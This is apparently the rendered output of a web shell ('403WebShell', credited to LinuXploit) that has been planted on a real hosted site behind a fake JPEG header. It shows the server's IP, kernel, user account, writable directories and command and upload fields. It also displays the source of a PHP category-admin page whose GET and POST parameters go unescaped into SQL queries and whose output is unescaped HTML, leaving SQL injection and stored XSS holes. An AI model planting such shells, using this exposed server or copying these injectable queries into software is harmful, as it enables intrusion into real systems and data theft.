���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.148  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/rfconnector.info/public_html/product-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/rfconnector.info/public_html/product-admin/test.php
<?php
session_start();
include 'config.php';
if (!isset($_SESSION['alogin']) || strlen($_SESSION['alogin']) == 0) {
    header("Location: login.php");
    exit();
}
include 'sidebar.php'; // Include Sidebar

$message = "";

// Add Category Logic
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['add_category'])) {
    $categoryName = mysqli_real_escape_string($con, $_POST['categoryName']);
    $parent_id = isset($_POST['parent_id']) ? $_POST['parent_id'] : 0;

    $query = "INSERT INTO category (categoryName, parent_id) VALUES ('$categoryName', '$parent_id')";

    if (mysqli_query($con, $query)) {
        $message = "<p style='color: green; font-weight: bold;'>Category Successfully Added!</p>";
    } else {
        $message = "<p style='color: red; font-weight: bold;'>Error: " . mysqli_error($con) . "</p>";
    }
}

// Delete Category Logic
if (isset($_GET['delete'])) {
    $delete_id = $_GET['delete'];
    $del_query = "DELETE FROM category WHERE id = '$delete_id'";
    if (mysqli_query($con, $del_query)) {
        $message = "<p style='color: green; font-weight: bold;'>Category Deleted Successfully!</p>";
    } else {
        $message = "<p style='color: red; font-weight: bold;'>Error Deleting Category!</p>";
    }
}

// Fetch Categories
$categories = mysqli_query($con, "SELECT * FROM category");

?>

<div class="content-wrapper">
    <div class="content-header">
        <div class="container-fluid">
            <div class="row mb-2">
                <div class="col-sm-6">
                    <h1 class="m-0">Manage Categories</h1>
                </div>
                <div class="col-sm-6">
                    <ol class="breadcrumb float-sm-right">
                        <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                        <li class="breadcrumb-item active">Manage Categories</li>
                    </ol>
                </div>
            </div>
        </div>
    </div>

    <!-- Add Category Form -->
    <section class="content pb-5">
        <div class="container-fluid">
            <?php if ($message) echo "<div class='alert alert-info'>$message</div>"; ?>

            <form action="" method="POST" class="form-inline">
                <div class="form-group mr-2">
                    <input type="text" name="categoryName" class="form-control" placeholder="Category Name" required>
                </div>

                <div class="form-group mr-2">
                    <select name="parent_id" class="form-control">
                        <option value="0">None (Parent Category)</option>
                        <?php
                        $result = mysqli_query($con, "SELECT * FROM category WHERE parent_id = 0");
                        while ($row = mysqli_fetch_assoc($result)) {
                            echo "<option value='" . $row['id'] . "'>" . $row['categoryName'] . "</option>";
                        }
                        ?>
                    </select>
                </div>

                <button type="submit" name="add_category" class="btn btn-primary">Add Category</button>
            </form>

            <hr>

            <!-- Category Table -->
            <h3 class="mt-4">All Categories</h3>
            <table class="table table-bordered">
                <thead>
                    <tr>
                        <th>ID</th>
                        <th>Category Name</th>
                        <th>Parent Category</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php 
                    while ($row = mysqli_fetch_assoc($categories)) { 
                        $parent_id = $row['parent_id'];
                        $parent_name = "Parent Category"; // Default

                        if ($parent_id != 0) {
                            // Fetch parent category name
                            $parentQuery = mysqli_query($con, "SELECT categoryName FROM category WHERE id = '$parent_id'");
                            $parentRow = mysqli_fetch_assoc($parentQuery);
                            $parent_name = "Subcategory of <span style='color: red;'>" . $parentRow['categoryName'] . "</span>";
                        }
                    ?>
                        <tr>
                            <td><?php echo $row['id']; ?></td>
                            <td><?php echo $row['categoryName']; ?></td>
                            <td><?php echo $parent_name; ?></td>
                            <td>
                                <a href="edit_category.php?id=<?php echo $row['id']; ?>" class="btn btn-sm btn-warning">Edit</a>
                                <a href="?delete=<?php echo $row['id']; ?>" class="btn btn-sm btn-danger" onclick="return confirm('Are you sure?')">Delete</a>
                            </td>
                        </tr>
                    <?php } ?>
                </tbody>
            </table>

        </div>
    </section>
</div>

<?php include "footer.php"; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit